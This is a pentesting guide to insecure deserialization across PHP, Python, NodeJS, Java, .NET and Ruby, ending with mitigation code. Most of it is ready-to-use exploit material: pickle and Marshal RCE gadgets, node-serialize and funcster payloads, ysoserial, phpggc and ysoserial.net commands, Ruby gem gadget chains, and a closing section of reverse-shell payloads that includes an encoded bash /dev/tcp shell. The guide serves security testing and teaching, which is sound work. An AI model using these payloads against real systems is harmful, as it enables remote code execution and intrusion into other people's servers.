Deserialization Pentesting
A comprehensive guide for identifying and exploiting insecure deserialization vulnerabilities across multiple platforms.
Quick Reference
| Platform | Key Indicators | Primary Tool |
|---|---|---|
| PHP | unserialize(), __wakeup, __destruct |
PHPGGC |
| Python | pickle.loads(), __reduce__ |
Custom payloads |
| NodeJS | node-serialize, funcster, serialize-javascript |
Manual crafting |
| Java | AC ED 00 05, rO0, ObjectInputStream |
ysoserial |
| .NET | AAEAAAD, BinaryFormatter, SoapFormatter |
ysoserial.net |
| Ruby | Marshal.load, Gem:: classes |
Custom payloads |
Detection Methods
White Box Testing
Search for these patterns in source code:
PHP:
unserialize()withoutallowed_classesparameter- Magic methods:
__wakeup,__destruct,__unserialize,__sleep file_get_contents()withphar://wrapper
Python:
pickle.loads(),pickle.load()yaml.load()withLoader=yaml.FullLoaderorUnsafeLoaderjsonpickle.decode()__reduce__or__reduce_ex__methods
NodeJS:
node-serialize.unserialize()funcster.deepDeserialize()serialize-javascriptwitheval()deserialization__proto__orprototypepollution patterns
Java:
ObjectInputStream.readObject()XStream.fromXML()(versions ≤ 1.46)XMLDecoderwith user input- Classes implementing
Serializable readObject(),readResolve(),readExternal()methods
.NET:
BinaryFormatter.Deserialize()SoapFormatter.Deserialize()JsonConvert.DeserializeObject()withTypeNameHandling.AutoJavaScriptSerializerwithJavaScriptTypeResolver__ViewStateparameters
Ruby:
Marshal.load()orMarshal.restore()Oj.load(),Psych.load(),JSON.parse()with customjson_create.send()method with user-controlled input
Black Box Testing
Java Signatures:
- Hex:
AC ED 00 05 - Base64:
rO0 - Compressed hex:
1F 8B 08 00 - Compressed Base64:
H4sIA - Content-Type:
application/x-java-serialized-object .facesfiles withjavax.faces.ViewStateparameter
.NET Signatures:
- Base64:
AAEAAAD////// - JSON/XML with
$typeorTypeObjectfields
General Indicators:
- Long Base64 strings in cookies, parameters, or headers
- ViewState parameters in ASP.NET applications
- Serialized objects in API responses
- Custom binary protocols
Exploitation by Platform
PHP Deserialization
Magic Methods to Abuse
| Method | When Called | Use Case |
|---|---|---|
__wakeup |
After deserialization | RCE via file operations, command execution |
__destruct |
Object destruction | Cleanup-based exploitation |
__unserialize |
Instead of __wakeup |
Full control over deserialization |
__toString |
String conversion | File reads, information disclosure |
__sleep |
Before serialization | Property manipulation |
PHPGGC Usage
# Generate payload for specific gadget chain
phpggc <gadget> <parameter> > payload.txt
# Example: PHPMailer RCE
phpggc PHPMailer phpinfo > payload.txt
# Example: Laravel RCE
phpggc Laravel8 'system("id")' > payload.txt
Common Gadget Chains
- PHPMailer: Email-based RCE
- Laravel: Queue and closure exploitation
- Symfony: Expression language RCE
- Monolog: File write and RCE
- Doctrine: Query-based exploitation
Phar Deserialization
When LFI exists but doesn't execute PHP:
# Create malicious phar file
php -r '
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();
'
# Trigger via phar:// wrapper
file_get_contents("phar://evil.phar");
Python Deserialization
Pickle Exploitation
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ("your_command_here",))
# Generate payload
payload = pickle.dumps(RCE())
print(payload)
# Base64 encode for transmission
import base64
print(base64.b64encode(payload).decode())
YAML Deserialization
import yaml
# Vulnerable code pattern
data = yaml.load(user_input, Loader=yaml.FullLoader)
# Exploitation via __reduce__
payload = "!!python/object/apply:os.system ["command"]"
jsonpickle Exploitation
import jsonpickle
# Vulnerable pattern
data = jsonpickle.decode(user_input)
# Exploitation
payload = jsonpickle.encode(
{"py/object": "os.system", "py/args": ["command"]}
)
NodeJS Deserialization
node-serialize Exploitation
// Vulnerable pattern
var serialize = require("node-serialize");
var data = serialize.unserialize(userInput);
// Exploit payload
var payload = {
"rce": "_$$ND_FUNC$$_require('child_process').exec('command')()"
};
funcster Exploitation
// Vulnerable pattern
var funcster = require("funcster");
var data = funcster.deepDeserialize(userInput);
// Exploit payload
var payload = {
"__js_function": "this.constructor.constructor('require(\"child_process\").exec(\"command\")')()"
};
serialize-javascript Exploitation
// Vulnerable deserialization
function deserialize(serialized) {
return eval("(" + serialized + ")");
}
// Exploit
var payload = "function(){ require('child_process').exec('command'); }()";
React Server Components (CVE-2025-55182)
# Craft multipart payload for vulnerable RSC
curl -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#export","bound":["arg1","arg2"]}'
Java Deserialization
ysoserial Usage
# Download ysoserial
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
# DNS callback (safe test)
java -jar ysoserial.jar URLDNS http://your-collaborator.burpcollaborator.net > payload
# RCE payloads
java -jar ysoserial.jar CommonsCollections5 "command" > payload
java -jar ysoserial.jar CommonsCollections4 "command" > payload
java -jar ysoserial.jar Jdk7u21 "command" > payload
# Base64 encode for HTTP injection
base64 -w0 payload
Common Gadget Chains
| Gadget | Library | Risk Level |
|---|---|---|
| CommonsCollections1-7 | Apache Commons Collections | High |
| Jdk7u21 | JDK 7u21+ | Medium |
| URLDNS | None (DNS only) | Low (detection) |
| Spring1-2 | Spring Framework | High |
| Hibernate1-2 | Hibernate | High |
| Myfaces1-2 | Apache MyFaces | High |
marshalsec for JSON/XML
# Compile marshalsec
mvn clean package -DskipTests
# Generate JSON payload
java -cp marshalsec.jar marshalsec.json.JsonGenerator <gadget> "command"
# Generate YAML payload
java -cp marshalsec.jar marshalsec.yaml.YamlGenerator <gadget> "command"
Detection Tools
- GadgetProbe: Identify available libraries via DNS callbacks
- Java Deserialization Scanner: Burp extension for automated testing
- Freddy: Detect JSON/YAML/ObjectInputStream vulnerabilities
- SerializationDumper: Human-readable serialization inspection
.NET Deserialization
ysoserial.net Usage
# Compile ysoserial.net
# Then use:
# Generate payload
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" -o base64
# Test payload locally
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" --test
# List available gadgets for formatter
ysoserial.exe --raf -f Json.Net -c "test"
# Reverse shell example
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -Enc <base64>"
Common Formatters
| Formatter | Library | Exploitable |
|---|---|---|
| Json.Net | Newtonsoft.Json | Yes (with TypeNameHandling) |
| BinaryFormatter | System.Runtime.Serialization | Yes |
| SoapFormatter | System.Runtime.Serialization | Yes |
| DataContractSerializer | System.Runtime.Serialization | Limited |
ViewState Exploitation
# With known validation key
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -k <validation_key>
# With known secret
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -s <secret>
Ruby Deserialization
Marshal Exploitation
# Basic RCE gadget
require 'base64'
class RCE
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
payload = Marshal.dump(RCE.new("id"))
puts Base64.encode64(payload)
Gem Gadget Chains
# Gem::StubSpecification chain
class Gem::StubSpecification
def initialize; end
end
stub = Gem::StubSpecification.new
stub.instance_variable_set(:@loaded_from, "|command 1>&2")
# Trigger via comparison
other = Gem::Source::SpecificFile.new
stub <=> other
Oj/Psych Exploitation
// Oj payload
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"\$(id>/tmp/poc)\"",
"root_dir": "/tmp"
}
}
}
Prevention and Mitigation
PHP
// Disable all classes
$object = unserialize($data, ['allowed_classes' => false]);
// Whitelist specific classes
$object = unserialize($data, ['allowed_classes' => ['SafeClass']]);
// Avoid unserialize entirely - use JSON
$data = json_decode($json_string);
Python
# Use safe_load for YAML
import yaml
data = yaml.safe_load(user_input)
# Avoid pickle with untrusted data
# Use JSON instead
data = json.loads(user_input)
# If pickle is required, use restricted unpickler
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
allowed = ['mymodule.MyClass']
if f"{module}.{name}" not in allowed:
raise pickle.UnpicklingError(f"Forbidden: {module}.{name}")
return super().find_class(module, name)
Java
// Use ObjectInputFilter (Java 9+)
ObjectInputFilter filter = info -> {
if (!allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED;
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
// Override resolveClass
public class SafeObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if (!desc.getName().equals("com.example.SafeClass")) {
throw new InvalidClassException("Unauthorized");
}
return super.resolveClass(desc);
}
}
.NET
// Set TypeNameHandling to None
var settings = new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.None
};
var data = JsonConvert.DeserializeObject(json, settings);
// Use SerializationBinder for BinaryFormatter
public class SafeSerializationBinder : SerializationBinder {
public override Type BindToType(string assemblyName, string typeName) {
if (typeName != "MyApp.SafeClass") {
throw new SecurityException("Unauthorized type");
}
return Type.GetType(typeName);
}
}
Ruby
# Use JSON instead of Marshal
data = JSON.parse(user_input)
# If Marshal is required, use SafeMarshal
require 'safe_marshal'
data = SafeMarshal.load(user_input, allowed_classes: [SafeClass])
# Validate before deserialization
if user_input.start_with?("\x04\x08") # Marshal magic
# Validate structure before loading
end
Testing Workflow
- Identify serialized data in requests/responses
- Determine the platform and serialization format
- Test with DNS callback payloads (URLDNS, etc.)
- Enumerate available libraries/gadgets
- Craft RCE payload based on available gadgets
- Verify exploitation with file creation or reverse shell
- Document findings and remediation steps
Common Payloads
DNS Callbacks (Safe Testing)
# Java
java -jar ysoserial.jar URLDNS http://your-collaborator.net
# .NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup your-collaborator.net"
# NodeJS
var payload = {"rce": "_\$\$ND_FUNC\$\$_require('child_process').exec('nslookup your-collaborator.net')()"}
Reverse Shells
# Java (Linux)
java -jar ysoserial.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"
# .NET (Windows)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -Enc <base64_encoded_ps>"
# PHP (via gadget)
phpggc Laravel8 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'